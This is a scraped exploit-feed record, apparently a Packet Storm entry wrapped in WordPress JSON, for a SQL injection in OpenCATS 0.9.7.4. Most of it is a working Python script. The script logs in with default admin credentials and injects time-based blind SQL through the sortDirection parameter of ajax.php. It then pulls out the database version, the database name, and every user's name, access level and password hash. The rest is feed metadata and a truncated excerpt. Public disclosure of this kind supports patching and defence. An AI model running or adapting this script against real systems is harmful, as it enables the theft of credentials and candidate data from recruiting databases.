{“lastseen”:”2026-05-29T16:14:49″,”description”:”OpenCATS version 0.9.7.4 suffers from a remote SQL injection vulnerability…”,”published”:”2026-05-29T00:00:00″,”modified”:”2026-05-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 OpenCATS 0.9.7.4 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:222200″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit Title: OpenCATS 0.9.7.4 – SQL Injection\\n # Exploit Author: Gabriel Rodrigues (TEXUGO) from HAKAI\\n # Vendor Homepage: https:\/\/www.opencats.org\\n # Software Link: https:\/\/github.com\/opencats\/OpenCATS\\n # Version: \\u003c= 0.9.7.4\\n # Tested on: Ubuntu 22.04 \/ Apache2 \/ PHP \/ MariaDB 10.6\\n # CVE: N\/A (GHSA-8mc8-5gw6-c7w4)\\n import requests, json, sys, time\\n \\n url = sys.argv[1] if len(sys.argv) \\u003e 1 else \\”http:\/\/localhost:8888\\”\\n user = sys.argv[2] if len(sys.argv) \\u003e 2 else \\”admin\\”\\n pw = sys.argv[3] if len(sys.argv) \\u003e 3 else \\”cats\\”\\n delay = 1.5\\n \\n s = requests.Session()\\n s.get(f\\”{url}\/index.php\\”)\\n s.post(f\\”{url}\/index.php?m=login\\u0026a=attemptLogin\\”, data={\\”username\\”: user, \\”password\\”: pw}, allow_redirects=True)\\n \\n def sqli(payload):\\n t = time.time()\\n s.get(f\\”{url}\/ajax.php\\”, timeout=30, params={\\”f\\”: \\”getDataGridPager\\”,\\n \\”i\\”: \\”candidates:candidatesListByViewDataGrid\\”,\\n \\”p\\”: json.dumps({\\”sortBy\\”: \\”dateModifiedSort\\”, \\”sortDirection\\”: payload, \\”rangeStart\\”: 0, \\”maxResults\\”: 15})})\\n return time.time() – t\\n \\n def blind(cond):\\n return sqli(f\\”DESC,IF(({cond}),SLEEP({delay}),0)\\”) \\u003e delay * 0.6\\n \\n def extract(query, maxlen=100):\\n out = \\”\\”\\n for i in range(1, maxlen + 1):\\n if blind(f\\”LENGTH({query})\\u003c{i}\\”): break\\n lo, hi = 32, 126\\n while lo \\u003c hi:\\n mid = (lo + hi) \/\/ 2\\n lo, hi = (mid + 1, hi) if blind(f\\”ORD(SUBSTRING({query},{i},1))\\u003e{mid}\\”) else (lo, mid)\\n out += chr(lo)\\n return out\\n \\n base = sqli(\\”DESC\\”)\\n slp = sqli(\\”DESC,SLEEP(2)\\”)\\n print(f\\”baseline={base:.2f}s sleep(2)={slp:.2f}s\\”)\\n assert slp \\u003e base + 1, \\”not vulnerable or no candidate rows\\”\\n print(\\”injection confirmed\\\\n\\”)\\n \\n print(\\”version:\\”, extract(\\”@@version\\”, 30))\\n print(\\”database:\\”, extract(\\”DATABASE()\\”, 20))\\n \\n n = int(extract(\\”(SELECT COUNT(*) FROM user)\\”, 3))\\n print(f\\”users: {n}\\\\n\\”)\\n for i in range(n):\\n name = extract(f\\”(SELECT user_name FROM user ORDER BY user_id LIMIT {i},1)\\”, 40)\\n level = extract(f\\”(SELECT access_level FROM user ORDER BY user_id LIMIT {i},1)\\”, 5)\\n hash_ = extract(f\\”(SELECT password FROM user ORDER BY user_id LIMIT {i},1)\\”, 62)\\n print(f\\” {name} level={level} hash={hash_}\\”)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/222200″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/222200\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-29T16:14:49″,”description”:”OpenCATS version 0.9.7.4 suffers from a remote SQL injection vulnerability…”,”published”:”2026-05-29T00:00:00″,”modified”:”2026-05-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 OpenCATS 0.9.7.4 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:222200″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit Title: OpenCATS 0.9.7.4 – SQL Injection\\n # Exploit Author: Gabriel…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-58266","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n